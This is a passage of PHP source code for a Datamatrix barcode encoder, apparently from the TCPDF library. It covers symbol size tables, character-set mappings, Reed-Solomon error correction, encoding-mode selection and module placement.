array(0x040,0x040,0x038,0x038,0x010,0x010,0x00e,0x00e,0x004,0x004,0x010,0x118,0x070,0x002,0x08c,0x038), // 64x64
array(0x048,0x048,0x040,0x040,0x012,0x012,0x010,0x010,0x004,0x004,0x010,0x170,0x090,0x004,0x05c,0x024), // 72x72
array(0x050,0x050,0x048,0x048,0x014,0x014,0x012,0x012,0x004,0x004,0x010,0x1c8,0x0c0,0x004,0x072,0x030), // 80x80
array(0x058,0x058,0x050,0x050,0x016,0x016,0x014,0x014,0x004,0x004,0x010,0x240,0x0e0,0x004,0x090,0x038), // 88x88
array(0x060,0x060,0x058,0x058,0x018,0x018,0x016,0x016,0x004,0x004,0x010,0x2b8,0x110,0x004,0x0ae,0x044), // 96x96
array(0x068,0x068,0x060,0x060,0x01a,0x01a,0x018,0x018,0x004,0x004,0x010,0x330,0x150,0x006,0x088,0x038), // 104x104
array(0x078,0x078,0x06c,0x06c,0x014,0x014,0x012,0x012,0x006,0x006,0x024,0x41a,0x198,0x006,0x0af,0x044), // 120x120
array(0x084,0x084,0x078,0x078,0x016,0x016,0x014,0x014,0x006,0x006,0x024,0x518,0x1f0,0x008,0x0a3,0x03e), // 132x132
array(0x090,0x090,0x084,0x084,0x018,0x018,0x016,0x016,0x006,0x006,0x024,0x616,0x26c,0x00a,0x09c,0x03e), // 144x144
// rectangular form (currently unused) ---------------------------------------------------------------------------
array(0x008,0x012,0x006,0x010,0x008,0x012,0x006,0x010,0x001,0x001,0x001,0x005,0x007,0x001,0x005,0x007), // 8x18
array(0x008,0x020,0x006,0x01c,0x008,0x010,0x006,0x00e,0x001,0x002,0x002,0x00a,0x00b,0x001,0x00a,0x00b), // 8x32
array(0x00c,0x01a,0x00a,0x018,0x00c,0x01a,0x00a,0x018,0x001,0x001,0x001,0x010,0x00e,0x001,0x010,0x00e), // 12x26
array(0x00c,0x024,0x00a,0x020,0x00c,0x012,0x00a,0x010,0x001,0x002,0x002,0x00c,0x012,0x001,0x00c,0x012), // 12x36
array(0x010,0x024,0x00e,0x020,0x010,0x012,0x00e,0x010,0x001,0x002,0x002,0x020,0x018,0x001,0x020,0x018), // 16x36
array(0x010,0x030,0x00e,0x02c,0x010,0x018,0x00e,0x016,0x001,0x002,0x002,0x031,0x01c,0x001,0x031,0x01c) // 16x48
);
/**
* Map encodation modes whit character sets.
* @protected
*/
protected $chset_id = array(ENC_C40 => 'C40', ENC_TXT => 'TXT', ENC_X12 =>'X12');
/**
* Basic set of characters for each encodation mode.
* @protected
*/
protected $chset = array(
'C40' => array( // Basic set for C40 ----------------------------------------------------------------------------
'S1'=>0x00,'S2'=>0x01,'S3'=>0x02,0x20=>0x03,0x30=>0x04,0x31=>0x05,0x32=>0x06,0x33=>0x07,0x34=>0x08,0x35=>0x09, //
0x36=>0x0a,0x37=>0x0b,0x38=>0x0c,0x39=>0x0d,0x41=>0x0e,0x42=>0x0f,0x43=>0x10,0x44=>0x11,0x45=>0x12,0x46=>0x13, //
0x47=>0x14,0x48=>0x15,0x49=>0x16,0x4a=>0x17,0x4b=>0x18,0x4c=>0x19,0x4d=>0x1a,0x4e=>0x1b,0x4f=>0x1c,0x50=>0x1d, //
0x51=>0x1e,0x52=>0x1f,0x53=>0x20,0x54=>0x21,0x55=>0x22,0x56=>0x23,0x57=>0x24,0x58=>0x25,0x59=>0x26,0x5a=>0x27),//
'TXT' => array( // Basic set for TEXT ---------------------------------------------------------------------------
'S1'=>0x00,'S2'=>0x01,'S3'=>0x02,0x20=>0x03,0x30=>0x04,0x31=>0x05,0x32=>0x06,0x33=>0x07,0x34=>0x08,0x35=>0x09, //
0x36=>0x0a,0x37=>0x0b,0x38=>0x0c,0x39=>0x0d,0x61=>0x0e,0x62=>0x0f,0x63=>0x10,0x64=>0x11,0x65=>0x12,0x66=>0x13, //
0x67=>0x14,0x68=>0x15,0x69=>0x16,0x6a=>0x17,0x6b=>0x18,0x6c=>0x19,0x6d=>0x1a,0x6e=>0x1b,0x6f=>0x1c,0x70=>0x1d, //
0x71=>0x1e,0x72=>0x1f,0x73=>0x20,0x74=>0x21,0x75=>0x22,0x76=>0x23,0x77=>0x24,0x78=>0x25,0x79=>0x26,0x7a=>0x27),//
'SH1' => array( // Shift 1 set ----------------------------------------------------------------------------------
0x00=>0x00,0x01=>0x01,0x02=>0x02,0x03=>0x03,0x04=>0x04,0x05=>0x05,0x06=>0x06,0x07=>0x07,0x08=>0x08,0x09=>0x09, //
0x0a=>0x0a,0x0b=>0x0b,0x0c=>0x0c,0x0d=>0x0d,0x0e=>0x0e,0x0f=>0x0f,0x10=>0x10,0x11=>0x11,0x12=>0x12,0x13=>0x13, //
0x14=>0x14,0x15=>0x15,0x16=>0x16,0x17=>0x17,0x18=>0x18,0x19=>0x19,0x1a=>0x1a,0x1b=>0x1b,0x1c=>0x1c,0x1d=>0x1d, //
0x1e=>0x1e,0x1f=>0x1f), //
'SH2' => array( // Shift 2 set ----------------------------------------------------------------------------------
0x21=>0x00,0x22=>0x01,0x23=>0x02,0x24=>0x03,0x25=>0x04,0x26=>0x05,0x27=>0x06,0x28=>0x07,0x29=>0x08,0x2a=>0x09, //
0x2b=>0x0a,0x2c=>0x0b,0x2d=>0x0c,0x2e=>0x0d,0x2f=>0x0e,0x3a=>0x0f,0x3b=>0x10,0x3c=>0x11,0x3d=>0x12,0x3e=>0x13, //
0x3f=>0x14,0x40=>0x15,0x5b=>0x16,0x5c=>0x17,0x5d=>0x18,0x5e=>0x19,0x5f=>0x1a,'F1'=>0x1b,'US'=>0x1e), //
'S3C' => array( // Shift 3 set for C40 --------------------------------------------------------------------------
0x60=>0x00,0x61=>0x01,0x62=>0x02,0x63=>0x03,0x64=>0x04,0x65=>0x05,0x66=>0x06,0x67=>0x07,0x68=>0x08,0x69=>0x09, //
0x6a=>0x0a,0x6b=>0x0b,0x6c=>0x0c,0x6d=>0x0d,0x6e=>0x0e,0x6f=>0x0f,0x70=>0x10,0x71=>0x11,0x72=>0x12,0x73=>0x13, //
0x74=>0x14,0x75=>0x15,0x76=>0x16,0x77=>0x17,0x78=>0x18,0x79=>0x19,0x7a=>0x1a,0x7b=>0x1b,0x7c=>0x1c,0x7d=>0x1d, //
0x7e=>0x1e,0x7f=>0x1f),
'S3T' => array( // Shift 3 set for TEXT -------------------------------------------------------------------------
0x60=>0x00,0x41=>0x01,0x42=>0x02,0x43=>0x03,0x44=>0x04,0x45=>0x05,0x46=>0x06,0x47=>0x07,0x48=>0x08,0x49=>0x09, //
0x4a=>0x0a,0x4b=>0x0b,0x4c=>0x0c,0x4d=>0x0d,0x4e=>0x0e,0x4f=>0x0f,0x50=>0x10,0x51=>0x11,0x52=>0x12,0x53=>0x13, //
0x54=>0x14,0x55=>0x15,0x56=>0x16,0x57=>0x17,0x58=>0x18,0x59=>0x19,0x5a=>0x1a,0x7b=>0x1b,0x7c=>0x1c,0x7d=>0x1d, //
0x7e=>0x1e,0x7f=>0x1f), //
'X12' => array( // Set for X12 ----------------------------------------------------------------------------------
0x0d=>0x00,0x2a=>0x01,0x3e=>0x02,0x20=>0x03,0x30=>0x04,0x31=>0x05,0x32=>0x06,0x33=>0x07,0x34=>0x08,0x35=>0x09, //
0x36=>0x0a,0x37=>0x0b,0x38=>0x0c,0x39=>0x0d,0x41=>0x0e,0x42=>0x0f,0x43=>0x10,0x44=>0x11,0x45=>0x12,0x46=>0x13, //
0x47=>0x14,0x48=>0x15,0x49=>0x16,0x4a=>0x17,0x4b=>0x18,0x4c=>0x19,0x4d=>0x1a,0x4e=>0x1b,0x4f=>0x1c,0x50=>0x1d, //
0x51=>0x1e,0x52=>0x1f,0x53=>0x20,0x54=>0x21,0x55=>0x22,0x56=>0x23,0x57=>0x24,0x58=>0x25,0x59=>0x26,0x5a=>0x27) //
);
// -----------------------------------------------------------------------------
/**
* This is the class constructor.
* Creates a datamatrix object
* @param string $code Code to represent using Datamatrix.
* @public
*/
public function __construct($code) {
$barcode_array = array();
if ((is_null($code)) OR ($code == '\0') OR ($code == '')) {
return false;
}
// get data codewords
$cw = $this->getHighLevelEncoding($code);
// number of data codewords
$nd = count($cw);
// check size
if ($nd > 1558) {
return false;
}
// get minimum required matrix size.
foreach ($this->symbattr as $params) {
if ($params[11] >= $nd) {
break;
}
}
if ($params[11] < $nd) {
// too much data
return false;
} elseif ($params[11] > $nd) {
// add padding
if ((($params[11] - $nd) > 1) AND ($cw[($nd - 1)] != 254)) {
if ($this->last_enc == ENC_EDF) {
// switch to ASCII encoding
$cw[] = 124;
++$nd;
} elseif (($this->last_enc != ENC_ASCII) AND ($this->last_enc != ENC_BASE256)) {
// switch to ASCII encoding
$cw[] = 254;
++$nd;
}
}
if ($params[11] > $nd) {
// add first pad
$cw[] = 129;
++$nd;
// add remaining pads
for ($i = $nd; $i < $params[11]; ++$i) {
$cw[] = $this->get253StateCodeword(129, $i);
}
}
}
// add error correction codewords
$cw = $this->getErrorCorrection($cw, $params[13], $params[14], $params[15]);
// initialize empty arrays
$grid = array_fill(0, ($params[2] * $params[3]), 0);
// get placement map
$places = $this->getPlacementMap($params[2], $params[3]);
// fill the grid with data
$grid = array();
$i = 0;
// region data row max index
$rdri = ($params[4] - 1);
// region data column max index
$rdci = ($params[5] - 1);
// for each vertical region
for ($vr = 0; $vr < $params[9]; ++$vr) {
// for each row on region
for ($r = 0; $r < $params[4]; ++$r) {
// get row
$row = (($vr * $params[4]) + $r);
// for each horizontal region
for ($hr = 0; $hr < $params[8]; ++$hr) {
// for each column on region
for ($c = 0; $c < $params[5]; ++$c) {
// get column
$col = (($hr * $params[5]) + $c);
// braw bits by case
if ($r == 0) {
// top finder pattern
if ($c % 2) {
$grid[$row][$col] = 0;
} else {
$grid[$row][$col] = 1;
}
} elseif ($r == $rdri) {
// bottom finder pattern
$grid[$row][$col] = 1;
} elseif ($c == 0) {
// left finder pattern
$grid[$row][$col] = 1;
} elseif ($c == $rdci) {
// right finder pattern
if ($r % 2) {
$grid[$row][$col] = 1;
} else {
$grid[$row][$col] = 0;
}
} else { // data bit
if ($places[$i] < 2) {
$grid[$row][$col] = $places[$i];
} else {
// codeword ID
$cw_id = (floor($places[$i] / 10) - 1);
// codeword BIT mask
$cw_bit = pow(2, (8 - ($places[$i] % 10)));
$grid[$row][$col] = (($cw[$cw_id] & $cw_bit) == 0) ? 0 : 1;
}
++$i;
}
}
}
}
}
$this->barcode_array['num_rows'] = $params[0];
$this->barcode_array['num_cols'] = $params[1];
$this->barcode_array['bcode'] = $grid;
}
/**
* Returns a barcode array which is readable by TCPDF
* @return array barcode array readable by TCPDF;
* @public
*/
public function getBarcodeArray() {
return $this->barcode_array;
}
/**
* Product of two numbers in a Power-of-Two Galois Field
* @param int $a first number to multiply.
* @param int $b second number to multiply.
* @param array $log Log table.
* @param array $alog Anti-Log table.
* @param int $gf Number of Factors of the Reed-Solomon polynomial.
* @return int product
* @protected
*/
protected function getGFProduct($a, $b, $log, $alog, $gf) {
if (($a == 0) OR ($b == 0)) {
return 0;
}
return ($alog[($log[$a] + $log[$b]) % ($gf - 1)]);
}
/**
* Add error correction codewords to data codewords array (ANNEX E).
* @param array $wd Array of datacodewords.
* @param int $nb Number of blocks.
* @param int $nd Number of data codewords per block.
* @param int $nc Number of correction codewords per block.
* @param int $gf numner of fields on log/antilog table (power of 2).
* @param int $pp The value of its prime modulus polynomial (301 for ECC200).
* @return array data codewords + error codewords
* @protected
*/
protected function getErrorCorrection($wd, $nb, $nd, $nc, $gf=256, $pp=301) {
// generate the log ($log) and antilog ($alog) tables
$log[0] = 0;
$alog[0] = 1;
for ($i = 1; $i < $gf; ++$i) {
$alog[$i] = ($alog[($i - 1)] * 2);
if ($alog[$i] >= $gf) {
$alog[$i] ^= $pp;
}
$log[$alog[$i]] = $i;
}
ksort($log);
// generate the polynomial coefficients (c)
$c = array_fill(0, ($nc + 1), 0);
$c[0] = 1;
for ($i = 1; $i <= $nc; ++$i) {
$c[$i] = $c[($i-1)];
for ($j = ($i - 1); $j >= 1; --$j) {
$c[$j] = $c[($j - 1)] ^ $this->getGFProduct($c[$j], $alog[$i], $log, $alog, $gf);
}
$c[0] = $this->getGFProduct($c[0], $alog[$i], $log, $alog, $gf);
}
ksort($c);
// total number of data codewords
$num_wd = ($nb * $nd);
// total number of error codewords
$num_we = ($nb * $nc);
// for each block
for ($b = 0; $b < $nb; ++$b) {
// create interleaved data block
$block = array();
for ($n = $b; $n < $num_wd; $n += $nb) {
$block[] = $wd[$n];
}
// initialize error codewords
$we = array_fill(0, ($nc + 1), 0);
// calculate error correction codewords for this block
for ($i = 0; $i < $nd; ++$i) {
$k = ($we[0] ^ $block[$i]);
for ($j = 0; $j < $nc; ++$j) {
$we[$j] = ($we[($j + 1)] ^ $this->getGFProduct($k, $c[($nc - $j - 1)], $log, $alog, $gf));
}
}
// add error codewords at the end of data codewords
$j = 0;
for ($i = $b; $i < $num_we; $i += $nb) {
$wd[($num_wd + $i)] = $we[$j];
++$j;
}
}
// reorder codewords
ksort($wd);
return $wd;
}
/**
* Return the 253-state codeword
* @param int $cwpad Pad codeword.
* @param int $cwpos Number of data codewords from the beginning of encoded data.
* @return int pad codeword
* @protected
*/
protected function get253StateCodeword($cwpad, $cwpos) {
$pad = ($cwpad + (((149 * $cwpos) % 253) + 1));
if ($pad > 254) {
$pad -= 254;
}
return $pad;
}
/**
* Return the 255-state codeword
* @param int $cwpad Pad codeword.
* @param int $cwpos Number of data codewords from the beginning of encoded data.
* @return int pad codeword
* @protected
*/
protected function get255StateCodeword($cwpad, $cwpos) {
$pad = ($cwpad + (((149 * $cwpos) % 255) + 1));
if ($pad > 255) {
$pad -= 256;
}
return $pad;
}
/**
* Returns true if the char belongs to the selected mode
* @param int $chr Character (byte) to check.
* @param int $mode Current encoding mode.
* @return boolean true if the char is of the selected mode.
* @protected
*/
protected function isCharMode($chr, $mode) {
$status = false;
switch ($mode) {
case ENC_ASCII: { // ASCII character 0 to 127
$status = (($chr >= 0) AND ($chr <= 127));
break;
}
case ENC_C40: { // Upper-case alphanumeric
$status = (($chr == 32) OR (($chr >= 48) AND ($chr <= 57)) OR (($chr >= 65) AND ($chr <= 90)));
break;
}
case ENC_TXT: { // Lower-case alphanumeric
$status = (($chr == 32) OR (($chr >= 48) AND ($chr <= 57)) OR (($chr >= 97) AND ($chr <= 122)));
break;
}
case ENC_X12: { // ANSI X12
$status = (($chr == 13) OR ($chr == 42) OR ($chr == 62));
break;
}
case ENC_EDF: { // ASCII character 32 to 94
$status = (($chr >= 32) AND ($chr <= 94));
break;
}
case ENC_BASE256: { // Function character (FNC1, Structured Append, Reader Program, or Code Page)
$status = (($chr == 232) OR ($chr == 233) OR ($chr == 234) OR ($chr == 241));
break;
}
case ENC_ASCII_EXT: { // ASCII character 128 to 255
$status = (($chr >= 128) AND ($chr <= 255));
break;
}
case ENC_ASCII_NUM: { // ASCII digits
$status = (($chr >= 48) AND ($chr <= 57));
break;
}
}
return $status;
}
/**
* The look-ahead test scans the data to be encoded to find the best mode (Annex P - steps from J to S).
* @param string $data data to encode
* @param int $pos current position
* @param int $mode current encoding mode
* @return int encoding mode
* @protected
*/
protected function lookAheadTest($data, $pos, $mode) {
$data_length = strlen($data);
if ($pos >= $data_length) {
return $mode;
}
$charscount = 0; // count processed chars
// STEP J
if ($mode == ENC_ASCII) {
$numch = array(0, 1, 1, 1, 1, 1.25);
} else {
$numch = array(1, 2, 2, 2, 2, 2.25);
$numch[$mode] = 0;
}
while (true) {
// STEP K
if (($pos + $charscount) == $data_length) {
if ($numch[ENC_ASCII] <= ceil(min($numch[ENC_C40], $numch[ENC_TXT], $numch[ENC_X12], $numch[ENC_EDF], $numch[ENC_BASE256]))) {
return ENC_ASCII;
}
if ($numch[ENC_BASE256] < ceil(min($numch[ENC_ASCII], $numch[ENC_C40], $numch[ENC_TXT], $numch[ENC_X12], $numch[ENC_EDF]))) {
return ENC_BASE256;
}
if ($numch[ENC_EDF] < ceil(min($numch[ENC_ASCII], $numch[ENC_C40], $numch[ENC_TXT], $numch[ENC_X12], $numch[ENC_BASE256]))) {
return ENC_EDF;
}
if ($numch[ENC_TXT] < ceil(min($numch[ENC_ASCII], $numch[ENC_C40], $numch[ENC_X12], $numch[ENC_EDF], $numch[ENC_BASE256]))) {
return ENC_TXT;
}
if ($numch[ENC_X12] < ceil(min($numch[ENC_ASCII], $numch[ENC_C40], $numch[ENC_TXT], $numch[ENC_EDF], $numch[ENC_BASE256]))) {
return ENC_X12;
}
return ENC_C40;
}
// get char
$chr = ord($data[$pos + $charscount]);
$charscount++;
// STEP L
if ($this->isCharMode($chr, ENC_ASCII_NUM)) {
$numch[ENC_ASCII] += (1 / 2);
} elseif ($this->isCharMode($chr, ENC_ASCII_EXT)) {
$numch[ENC_ASCII] = ceil($numch[ENC_ASCII]);
$numch[ENC_ASCII] += 2;
} else {
$numch[ENC_ASCII] = ceil($numch[ENC_ASCII]);
$numch[ENC_ASCII] += 1;
}
// STEP M
if ($this->isCharMode($chr, ENC_C40)) {
$numch[ENC_C40] += (2 / 3);
} elseif ($this->isCharMode($chr, ENC_ASCII_EXT)) {
$numch[ENC_C40] += (8 / 3);
} else {
$numch[ENC_C40] += (4 / 3);
}
// STEP N
if ($this->isCharMode($chr, ENC_TXT)) {
$numch[ENC_TXT] += (2 / 3);
} elseif ($this->isCharMode($chr, ENC_ASCII_EXT)) {
$numch[ENC_TXT] += (8 / 3);
} else {
$numch[ENC_TXT] += (4 / 3);
}
// STEP O
if ($this->isCharMode($chr, ENC_X12) OR $this->isCharMode($chr, ENC_C40)) {
$numch[ENC_X12] += (2 / 3);
} elseif ($this->isCharMode($chr, ENC_ASCII_EXT)) {
$numch[ENC_X12] += (13 / 3);
} else {
$numch[ENC_X12] += (10 / 3);
}
// STEP P
if ($this->isCharMode($chr, ENC_EDF)) {
$numch[ENC_EDF] += (3 / 4);
} elseif ($this->isCharMode($chr, ENC_ASCII_EXT)) {
$numch[ENC_EDF] += (17 / 4);
} else {
$numch[ENC_EDF] += (13 / 4);
}
// STEP Q
if ($this->isCharMode($chr, ENC_BASE256)) {
$numch[ENC_BASE256] += 4;
} else {
$numch[ENC_BASE256] += 1;
}
// STEP R
if ($charscount >= 4) {
if (($numch[ENC_ASCII] + 1) <= min($numch[ENC_C40], $numch[ENC_TXT], $numch[ENC_X12], $numch[ENC_EDF], $numch[ENC_BASE256])) {
return ENC_ASCII;
}
if ((($numch[ENC_BASE256] + 1) <= $numch[ENC_ASCII])
OR (($numch[ENC_BASE256] + 1) < min($numch[ENC_C40], $numch[ENC_TXT], $numch[ENC_X12], $numch[ENC_EDF]))) {
return ENC_BASE256;
}
if (($numch[ENC_EDF] + 1) < min($numch[ENC_ASCII], $numch[ENC_C40], $numch[ENC_TXT], $numch[ENC_X12], $numch[ENC_BASE256])) {
return ENC_EDF;
}
if (($numch[ENC_TXT] + 1) < min($numch[ENC_ASCII], $numch[ENC_C40], $numch[ENC_X12], $numch[ENC_EDF], $numch[ENC_BASE256])) {
return ENC_TXT;
}
if (($numch[ENC_X12] + 1) < min($numch[ENC_ASCII], $numch[ENC_C40], $numch[ENC_TXT], $numch[ENC_EDF], $numch[ENC_BASE256])) {
return ENC_X12;
}
if (($numch[ENC_C40] + 1) < min($numch[ENC_ASCII], $numch[ENC_TXT], $numch[ENC_EDF], $numch[ENC_BASE256])) {
if ($numch[ENC_C40] < $numch[ENC_X12]) {
return ENC_C40;
}
if ($numch[ENC_C40] == $numch[ENC_X12]) {
$k = ($pos + $charscount + 1);
while ($k < $data_length) {
$tmpchr = ord($data[$k]);
if ($this->isCharMode($tmpchr, ENC_X12)) {
return ENC_X12;
} elseif (!($this->isCharMode($tmpchr, ENC_X12) OR $this->isCharMode($tmpchr, ENC_C40))) {
break;
}
++$k;
}
return ENC_C40;
}
}
}
} // end of while
}
/**
* Get the switching codeword to a new encoding mode (latch codeword)
* @param int $mode New encoding mode.
* @return int Switch codeword.
* @protected
*/
protected function getSwitchEncodingCodeword($mode) {
switch ($mode) {
case ENC_ASCII: { // ASCII character 0 to 127
$cw = 254;
if ($this->last_enc == ENC_EDF) {
$cw = 124;
}
break;
}
case ENC_C40: { // Upper-case alphanumeric
$cw = 230;
break;
}
case ENC_TXT: { // Lower-case alphanumeric
$cw = 239;
break;
}
case ENC_X12: { // ANSI X12
$cw = 238;
break;
}
case ENC_EDF: { // ASCII character 32 to 94
$cw = 240;
break;
}
case ENC_BASE256: { // Function character (FNC1, Structured Append, Reader Program, or Code Page)
$cw = 231;
break;
}
}
return $cw;
}
/**
* Choose the minimum matrix size and return the max number of data codewords.
* @param int $numcw Number of current codewords.
* @return int number of data codewords in matrix
* @protected
*/
protected function getMaxDataCodewords($numcw) {
foreach ($this->symbattr as $key => $matrix) {
if ($matrix[11] >= $numcw) {
return $matrix[11];
}
}
return 0;
}
/**
* Get high level encoding using the minimum symbol data characters for ECC 200
* @param string $data data to encode
* @return array of codewords
* @protected
*/
protected function getHighLevelEncoding($data) {
// STEP A. Start in ASCII encodation.
$enc = ENC_ASCII; // current encoding mode
$pos = 0; // current position
$cw = array(); // array of codewords to be returned
$cw_num = 0; // number of data codewords
$data_length = strlen($data); // number of chars
while ($pos < $data_length) {
// set last used encoding
$this->last_enc = $enc;
switch ($enc) {
case ENC_ASCII: { // STEP B. While in ASCII encodation
if (($data_length > 1) AND ($pos < ($data_length - 1)) AND ($this->isCharMode(ord($data[$pos]), ENC_ASCII_NUM) AND $this->isCharMode(ord($data[$pos + 1]), ENC_ASCII_NUM))) {
// 1. If the next data sequence is at least 2 consecutive digits, encode the next two digits as a double digit in ASCII mode.
$cw[] = (intval(substr($data, $pos, 2)) + 130);
++$cw_num;
$pos += 2;
} else {
// 2. If the look-ahead test (starting at step J) indicates another mode, switch to that mode.
$newenc = $this->lookAheadTest($data, $pos, $enc);
if ($newenc != $enc) {
// switch to new encoding
$enc = $newenc;
$cw[] = $this->getSwitchEncodingCodeword($enc);
++$cw_num;
} else {
// get new byte
$chr = ord($data[$pos]);
++$pos;
if ($this->isCharMode($chr, ENC_ASCII_EXT)) {
// 3. If the next data character is extended ASCII (greater than 127) encode it in ASCII mode first using the Upper Shift (value 235) character.
$cw[] = 235;
$cw[] = ($chr - 127);
$cw_num += 2;
} else {
// 4. Otherwise process the next data character in ASCII encodation.
$cw[] = ($chr + 1);
++$cw_num;
}
}
}
break;
}
case ENC_C40 : // Upper-case alphanumeric
case ENC_TXT : // Lower-case alphanumeric
case ENC_X12 : { // ANSI X12
$temp_cw = array();
$p = 0;
$epos = $pos;
// get charset ID
$set_id = $this->chset_id[$enc];
// get basic charset for current encoding
$charset = $this->chset[$set_id];
do {
// 2. process the next character in C40 encodation.
$chr = ord($data[$epos]);
++$epos;
// check for extended character
if ($chr & 0x80) {
if ($enc == ENC_X12) {
return false;
}
$chr = ($chr & 0x7f);
$temp_cw[] = 1; // shift 2
$temp_cw[] = 30; // upper shift
$p += 2;
}
if (isset($charset[$chr])) {
$temp_cw[] = $charset[$chr];
++$p;
} else {
if (isset($this->chset['SH1'][$chr])) {
$temp_cw[] = 0; // shift 1
$shiftset = $this->chset['SH1'];
} elseif (isset($this->chset['SH2'][$chr])) {
$temp_cw[] = 1; // shift 2
$shiftset = $this->chset['SH2'];
} elseif (($enc == ENC_C40) AND isset($this->chset['S3C'][$chr])) {
$temp_cw[] = 2; // shift 3
$shiftset = $this->chset['S3C'];
} elseif (($enc == ENC_TXT) AND isset($this->chset['S3T'][$chr])) {
$temp_cw[] = 2; // shift 3
$shiftset = $this->chset['S3T'];
} else {
return false;
}
$temp_cw[] = $shiftset[$chr];
$p += 2;
}
if ($p >= 3) {
$c1 = array_shift($temp_cw);
$c2 = array_shift($temp_cw);
$c3 = array_shift($temp_cw);
$p -= 3;
$tmp = ((1600 * $c1) + (40 * $c2) + $c3 + 1);
$cw[] = ($tmp >> 8);
$cw[] = ($tmp % 256);
$cw_num += 2;
$pos = $epos;
// 1. If the C40 encoding is at the point of starting a new double symbol character and if the look-ahead test (starting at step J) indicates another mode, switch to that mode.
$newenc = $this->lookAheadTest($data, $pos, $enc);
if ($newenc != $enc) {
// switch to new encoding
$enc = $newenc;
if ($enc != ENC_ASCII) {
// set unlatch character
$cw[] = $this->getSwitchEncodingCodeword(ENC_ASCII);
++$cw_num;
}
$cw[] = $this->getSwitchEncodingCodeword($enc);
++$cw_num;
$pos -= $p;
$p = 0;
break;
}
}
} while (($p > 0) AND ($epos < $data_length));
// process last data (if any)
if ($p > 0) {
// get remaining number of data symbols
$cwr = ($this->getMaxDataCodewords($cw_num) - $cw_num);
if (($cwr == 1) AND ($p == 1)) {
// d. If one symbol character remains and one C40 value (data character) remains to be encoded
$c1 = array_shift($temp_cw);
--$p;
$cw[] = ($chr + 1);
++$cw_num;
$pos = $epos;
$enc = ENC_ASCII;
$this->last_enc = $enc;
} elseif (($cwr == 2) AND ($p == 1)) {
// c. If two symbol characters remain and only one C40 value (data character) remains to be encoded
$c1 = array_shift($temp_cw);
--$p;
$cw[] = 254;
$cw[] = ($chr + 1);
$cw_num += 2;
$pos = $epos;
$enc = ENC_ASCII;
$this->last_enc = $enc;
} elseif (($cwr == 2) AND ($p == 2)) {
// b. If two symbol characters remain and two C40 values remain to be encoded
$c1 = array_shift($temp_cw);
$c2 = array_shift($temp_cw);
$p -= 2;
$tmp = ((1600 * $c1) + (40 * $c2) + 1);
$cw[] = ($tmp >> 8);
$cw[] = ($tmp % 256);
$cw_num += 2;
$pos = $epos;
$enc = ENC_ASCII;
$this->last_enc = $enc;
} else {
// switch to ASCII encoding
if ($enc != ENC_ASCII) {
$enc = ENC_ASCII;
$this->last_enc = $enc;
$cw[] = $this->getSwitchEncodingCodeword($enc);
++$cw_num;
$pos = ($epos - $p);
}
}
}
break;
}
case ENC_EDF: { // F. While in EDIFACT (EDF) encodation
// initialize temporary array with 0 length
$temp_cw = array();
$epos = $pos;
$field_length = 0;
$newenc = $enc;
do {
// 2. process the next character in EDIFACT encodation.
$chr = ord($data[$epos]);
if ($this->isCharMode($chr, ENC_EDF)) {
++$epos;
$temp_cw[] = $chr;
++$field_length;
}
if (($field_length == 4) OR ($epos == $data_length) OR !$this->isCharMode($chr, ENC_EDF)) {
if (($epos == $data_length) AND ($field_length < 3)) {
$enc = ENC_ASCII;
$cw[] = $this->getSwitchEncodingCodeword($enc);
++$cw_num;
break;
}
if ($field_length < 4) {
// set unlatch character
$temp_cw[] = 0x1f;
++$field_length;
// fill empty characters
for ($i = $field_length; $i < 4; ++$i) {
$temp_cw[] = 0;
}
$enc = ENC_ASCII;
$this->last_enc = $enc;
}
// encodes four data characters in three codewords
$tcw = (($temp_cw[0] & 0x3F) << 2) + (($temp_cw[1] & 0x30) >> 4);
if ($tcw > 0) {
$cw[] = $tcw;
$cw_num++;
}
$tcw= (($temp_cw[1] & 0x0F) << 4) + (($temp_cw[2] & 0x3C) >> 2);
if ($tcw > 0) {
$cw[] = $tcw;
$cw_num++;
}
$tcw = (($temp_cw[2] & 0x03) << 6) + ($temp_cw[3] & 0x3F);
if ($tcw > 0) {
$cw[] = $tcw;
$cw_num++;
}
$temp_cw = array();
$pos = $epos;
$field_length = 0;
if ($enc == ENC_ASCII) {
break; // exit from EDIFACT mode
}
}
} while ($epos < $data_length);
break;
}
case ENC_BASE256: { // G. While in Base 256 (B256) encodation
// initialize temporary array with 0 length
$temp_cw = array();
$field_length = 0;
while (($pos < $data_length) AND ($field_length <= 1555)) {
$newenc = $this->lookAheadTest($data, $pos, $enc);
if ($newenc != $enc) {
// 1. If the look-ahead test (starting at step J) indicates another mode, switch to that mode.
$enc = $newenc;
break; // exit from B256 mode
} else {
// 2. Otherwise, process the next character in Base 256 encodation.
$chr = ord($data[$pos]);
++$pos;
$temp_cw[] = $chr;
++$field_length;
}
}
// set field length
if ($field_length <= 249) {
$cw[] = $this->get255StateCodeword($field_length, ($cw_num + 1));
++$cw_num;
} else {
$cw[] = $this->get255StateCodeword((floor($field_length / 250) + 249), ($cw_num + 1));
$cw[] = $this->get255StateCodeword(($field_length % 250), ($cw_num + 2));
$cw_num += 2;
}
if (!empty($temp_cw)) {
// add B256 field
foreach ($temp_cw as $p => $cht) {
$cw[] = $this->get255StateCodeword($cht, ($cw_num + $p + 1));
}
}
break;
}
} // end of switch enc
} // end of while
return $cw;
}
/**
* Places "chr+bit" with appropriate wrapping within array[].
* (Annex F - ECC 200 symbol character placement)
* @param array $marr Array of symbols.
* @param int $nrow Number of rows.
* @param int $ncol Number of columns.
* @param int $row Row number.
* @param int $col Column number.
* @param int $chr Char byte.
* @param int $bit Bit.
* @return array
* @protected
*/
protected function placeModule($marr, $nrow, $ncol, $row, $col, $chr, $bit) {
if ($row < 0) {
$row += $nrow;
$col += (4 - (($nrow + 4) % 8));
}
if ($col < 0) {
$col += $ncol;
$row += (4 - (($ncol + 4) % 8));
}
$marr[(($row * $ncol) + $col)] = ((10 * $chr) + $bit);
return $marr;
}
/**
* Places the 8 bits of a utah-shaped symbol character.
* (Annex F - ECC 200 symbol character placement)
* @param array $marr Array of symbols.
* @param int $nrow Number of rows.
* @param int $ncol Number of columns.
* @param int $row Row number.
* @param int $col Column number.
* @param int $chr Char byte.
* @return array
* @protected
*/
protected function placeUtah($marr, $nrow, $ncol, $row, $col, $chr) {
$marr = $this->placeModule($marr, $nrow, $ncol, $row-2, $col-2, $chr, 1);
$marr = $this->placeModule($marr, $nrow, $ncol, $row-2, $col-1, $chr, 2);
$marr = $this->placeModule($marr, $nrow, $ncol, $row-1, $col-2, $chr, 3);
$marr = $this->placeModule($marr, $nrow, $ncol, $row-1, $col-1, $chr, 4);
